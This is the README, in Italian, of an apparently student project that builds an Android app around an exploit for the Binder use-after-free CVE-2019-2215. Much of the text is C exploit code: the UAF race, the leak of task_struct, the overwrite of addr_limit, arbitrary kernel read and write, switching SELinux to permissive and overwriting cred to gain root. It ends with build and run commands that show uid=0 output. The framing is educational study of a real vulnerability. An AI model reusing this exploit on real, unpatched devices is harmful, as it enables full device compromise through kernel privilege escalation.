
dimostrazione di CVE-2019-2215 (Bad Binder) per Android Q
Questo repository è un piccolo progetto di test per lo studio della vulnerabilità
CVE-2019-2215 (Bad Binder) e per la scrittura di un prototipo funzionante di exploit per Android con
una semplice interfaccia grafica in Kotlin/Jetpack Compose.
In questo README:
Nel repository è configurato un workflow GitHub Actions che, ad ogni push/PR, compila il progetto
con ./gradlew assembleDebug e pubblica il badbinder-debug.apk come artefatto.
È possibile scaricarlo così:
badbinder-debug-apk
con l'APK compilato.Questo è stato fatto per comodità, nel caso si voglia semplicemente testare l'applicazione senza dover configurare un ambiente locale.
CVE-2019-2215 è un Use-After-Free (UAF) nel sottosistema IPC Binder del kernel Android.
In parole povere:
struct binder_thread che descrive un thread
che esegue chiamate Binder;waitqueue);remove_wait_queue,
aprendo uno scenario UAF classico;Un'analisi teorica più dettagliata l'ho fatta basandomi su:
Per il compito è stato consigliato di utilizzare un AVD con immagine Android 10.0 (Q) x86_64.
Io ho fatto quanto segue:
/dev/binder.adb shell
ls -l /dev/binder
In questa fase mi sono imbattuto in un fatto spiacevole:
al momento le immagini AVD attuali sono già fornite con un kernel patchato, in cui
CVE-2019-2215 è corretta. Cioè, non è realmente possibile ottenere root su un emulatore ufficiale moderno
— l'exploit fallisce in fasi successive o semplicemente non fornisce l'elevazione dei privilegi.
Alla fine utilizzo l'AVD come simulatore per riprodurre la logica dell'exploit:
addr_limit,Questa è una sfumatura importante: tutto il codice e il report seguente sono didattici, non «da combattimento».
Ho realizzato una piccola applicazione Android:
I passaggi principali:
Ho creato un normale progetto in Android Studio (Kotlin, supporto minimo per Android 10).
Ho collegato NDK e CMake.
Ho aggiunto un file nativo con l'exploit (lo stesso cve-2019-2215.c con le funzioni
leak_task_struct, overwrite_addr_limit, ecc.).
In CMakeLists.txt ho aggiunto la build di libcve-2019-2215.so.
In MainActivity:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
Lato Kotlin ho creato ExploitViewModel, che implementa l'interfaccia
NativeLogger e accumula tutti i messaggi in un StateFlow<List<String>>. L'UI è sottoscritta
a questo flusso e mostra il log in un «terminale».
All'avvio dell'activity chiamo setNativeLogger(viewModel), in modo che il codice nativo riceva
l'oggetto a cui inviare le stringhe.
Compilo e installo l'applicazione:
./gradlew installDebug
Avvio l'AVD e l'applicazione stessa.
Sullo schermo vedo un «terminale» e un pulsante RUN EXPLOIT.
Al clic:
runNativeExploit() in un thread in background.Su un kernel reale vulnerabile, mi aspetterei di vedere alla fine qualcosa come:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
Sull'emulatore attuale di Android 10 questo, ovviamente, non accade, ma tutto il resto —
leak di task_struct, tentativo di sovrascrivere addr_limit, calcolo di cred e kernel_base —
funziona come «scenario», che era quanto richiesto per il compito.
Di seguito lo schema logico dell'exploit con riferimento a specifiche funzioni C.
Il piano ad alto livello è il seguente:
struct binder_thread e usarlo per
fare leak dell'indirizzo di task_struct del proprio processo (leak_task_struct).addr_limit in task_struct (overwrite_addr_limit) — questo rimuove la limitazione
tra gli indirizzi user-space e kernel-space per le successive
copy_to_user / copy_from_user.arb_read / arb_write).cred del processo corrente e la base del kernel (verifying),
quindi:
Parallelamente, ho integrato un logger JNI, in modo che tutte queste fasi siano visibili direttamente nell'UI.
task_struct (leak_task_struct)Funzione chiave:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
Cosa fa la funzione:
Fissa il thread sulla CPU 0 (sched_setaffinity), in modo che il comportamento dell'allocatore del kernel
sia più prevedibile. Questo migliora la stabilità dello sfruttamento UAF.
Apre /dev/binder, crea un descrittore epoll:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
Il descrittore Binder viene registrato in epoll:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
Prepara un array struct iovec iov_buffers[IOVEC_N] e alloca memoria:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
È importante che i 32 bit bassi dell'indirizzo siano zero:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
Questo corrisponde alla tecnica descritta negli articoli sullo sfruttamento: successivamente il kernel interpreta parte dei nostri dati come strutture con puntatori, e un indirizzamento «ben allineato» semplifica l'abuso.
Poi i campi iov_buffers[0xa] e vengono riempiti in modo tale che, al momento
dell'UAF, il kernel copi nella pipe un pezzo di memoria dove risiede il puntatore a
.
Risultato: ho l'indirizzo di task_struct nel kernel, cosa critica per i
passaggi successivi.
addr_limit (overwrite_addr_limit)addr_limit in task_struct determina quali indirizzi il processo può
passare alle syscall come puntatori user-space. Se lo si sovrascrive con un valore quasi massimo,
il kernel smette di distinguere gli indirizzi user-space dagli indirizzi nel proprio
spazio di indirizzamento — e molte operazioni apparentemente sicure come
copy_(to|from)_user diventano letture/scritture arbitrarie del kernel.
Funzione:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
agisce in modo molto simile:
Di nuovo fisso l'affinità della CPU, apro /dev/binder, creo epoll.
Preparo iov_buffers, ma questa volta lo schema è diverso:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0xc].iov_base = read_buffer0;
iov_buffers[0xc].iov_len = 0x8;
Invece di una pipe, uso socketpair(AF_UNIX, SOCK_STREAM, ...):
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
Preparo la struttura msghdr per recvmsg:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
Nel processo figlio (dopo fork()) viene nuovamente avviata la race UAF:
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
arb_read, arb_write, verifying)Dopo aver sovrascritto addr_limit, utilizzo pipe per trasformare
le normali operazioni di lettura/scrittura nella possibilità di leggere e scrivere a indirizzi del kernel.
arb_read / arb_writeunsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
Analogamente arb_write inverte la direzione della copia.
La funzione verifying():
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
Qui:
task_struct;PID_OFFSET mi assicuro che sia effettivamente la mia struttura;cred e un leak di indirizzo dal kernel (kernel_leak);kernel_base correggendo con l'offset hardcoded.La parte finale in runNativeExploit:
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
selinux_enforcing e lo imposto a zero/stato «permissivo».Poi la sovrascrittura di cred:
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
Riempio letteralmente i campi di capability e alcuni altri campi di cred con
valori massimi, per assegnare al processo il set completo di diritti.
Ultima verifica:
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
Su un kernel reale vulnerabile, qui mi aspetterei uid=0, su un'immagine patchata —
logicamente l'escalation disabilitata.
Per vedere tutto in tempo reale, ho aggiunto un livello intermedio:
JNI_OnLoad salva JavaVM* e il PID del processo principale;setNativeLogger accetta un oggetto Kotlin che implementa il metodo onLog(String),
e lo salva come GlobalRef;android_log/android_log_hex scrivono in logcat e chiamano send_to_ui, che
consegna la stringa a Kotlin, dove viene raccolta da ExploitViewModel e mostrata
nel «terminale» Compose.È importante che send_to_ui filtri i processi figli in base al PID — chiamare JNI da un
processo dopo fork() senza exec() non è sicuro.
Mi sono scontrato con il fatto che al momento non esistono immagini AVD ufficiali di Android 10 con kernel non patchato, in cui CVE-2019-2215 sia ancora presente.
Invece di ottenere «da combattimento» root, mi sono concentrato su:
Se si desidera, questo codice può essere portato su un dispositivo reale con un vecchio kernel non patchato, ma questo esula dagli scopi del compito.
Ho dovuto impostare esplicitamente:
ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;kernel_leak e selinux_enforcing;kernel_base.Volutamente non ho automatizzato la ricerca di questi valori, per non aumentare la mole del progetto. Nel report mi baso sul fatto che si tratta di un esempio didattico per una versione specifica del kernel, non di un exploit universale.
L'uso di fork(), epoll_ctl, BINDER_THREAD_EXIT e vari temporizzatori è un campo minato. Mi sono imbattuto nel fatto che senza:
sched_setaffinity,sleep,assert aggressivi lungo il percorso,l'exploit diventa estremamente instabile.
Ho progressivamente messo a punto la sequenza in modo che su una configurazione vulnerabile
fosse prevedibile, mentre su una patchata «fallisse» correttamente
agli ultimi passaggi.
fork()Ho anche incontrato il problema che tentare di fare logging dal processo figlio
direttamente nella JVM provoca comportamenti strani.
Ho dovuto ricordare le regole del JNI e aggiungere un controllo del PID, per comunicare
con la JVM solo dal processo principale.
Il compromesso: parte dei messaggi è visibile solo in logcat, mentre nell'UI viene visualizzato
solo ciò che arriva dal genitore. Questo mi è bastato, perché nell'ambito del compito
sono importanti soprattutto i punti di controllo principali, non ogni singolo print di debug.
Come bonus, per una realizzazione più creativa del compito, ho deciso di creare un'interfaccia comoda per l'analisi:
[+], [*], [!], [C]) sono evidenziati con colori
diversi per facilità di lettura;Success / Failed) viene mostrato in un blocco separato.Questo semplifica notevolmente la percezione del lavoro del codice nativo: invece del secco logcat,
vedo tutto in un unico punto, direttamente nell'applicazione.
Come risultato del lavoro sul compito, ho:
task_struct,addr_limit,cred, disabilitazione di SELinux e tentativo di escalation dei privilegi.Il progetto è compatto, ma riflette sostanzialmente l'intero ciclo di vita di una vulnerabilità reale del kernel: dalla descrizione teorica e lettura di articoli all'implementazione pratica e integrazione in un'applicazione Android funzionante.
Nella directory cve-2019-2215 c'è un Makefile che permette di compilare
un binario nativo (x86_64) e di eseguirlo direttamente nell'AVD tramite ADB.
Se serve una versione aarch64, si può compilare separatamente.
cd cve-2019-2215
make
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
id
uid=0(root) gid=0(root) groups=0(root)
selinux_enforcing = 0),cred per diventare root e ottenere il set completo di capability
(runNativeExploit).iov_buffers[0xb]task_structCrea una pipe e imposta la dimensione del buffer a 0x1000:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
Segue la classica race UAF. Avvio un processo figlio:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) porta al
rilascio del binder_thread associato nel kernel, ma esso figura ancora
nella struttura di contabilità delle attese — questo è il punto UAF.Nel processo genitore chiamo:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // rilascio di binder_thread
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
In questa fase, grazie all'UAF, writev utilizza la memoria già rilasciata
come strutture iovec e, di fatto, reinterpreta la stessa area di memoria
in cui prima risiedeva binder_thread, ma ora come un insieme di
puntatori/lunghezze. Come effetto collaterale, si verifica la copia di
un frammento di memoria del kernel nella nostra pipe.
Infine, leggo dalla pipe:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
L'offset 0xe8 è tarato sulla versione specifica del kernel — è il punto
in cui, all'interno del blocco di memoria trapelato, si trova il puntatore a task_struct del mio
processo.
Il genitore, come prima, rilascia binder_thread e chiama recvmsg:
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
A causa dell'UAF e della sostituzione astuta delle strutture, il kernel alla fine percepisce task_struct + ADDR_LIMIT_OFFSET come indirizzo di un buffer user e copia lì il contenuto
della struttura inviata (il nostro valore 0xfffffffffffffffe), sovrascrivendo così
addr_limit in task_struct.
Nel log scrivo:
android_log("[!] addr_limit overwrite done.");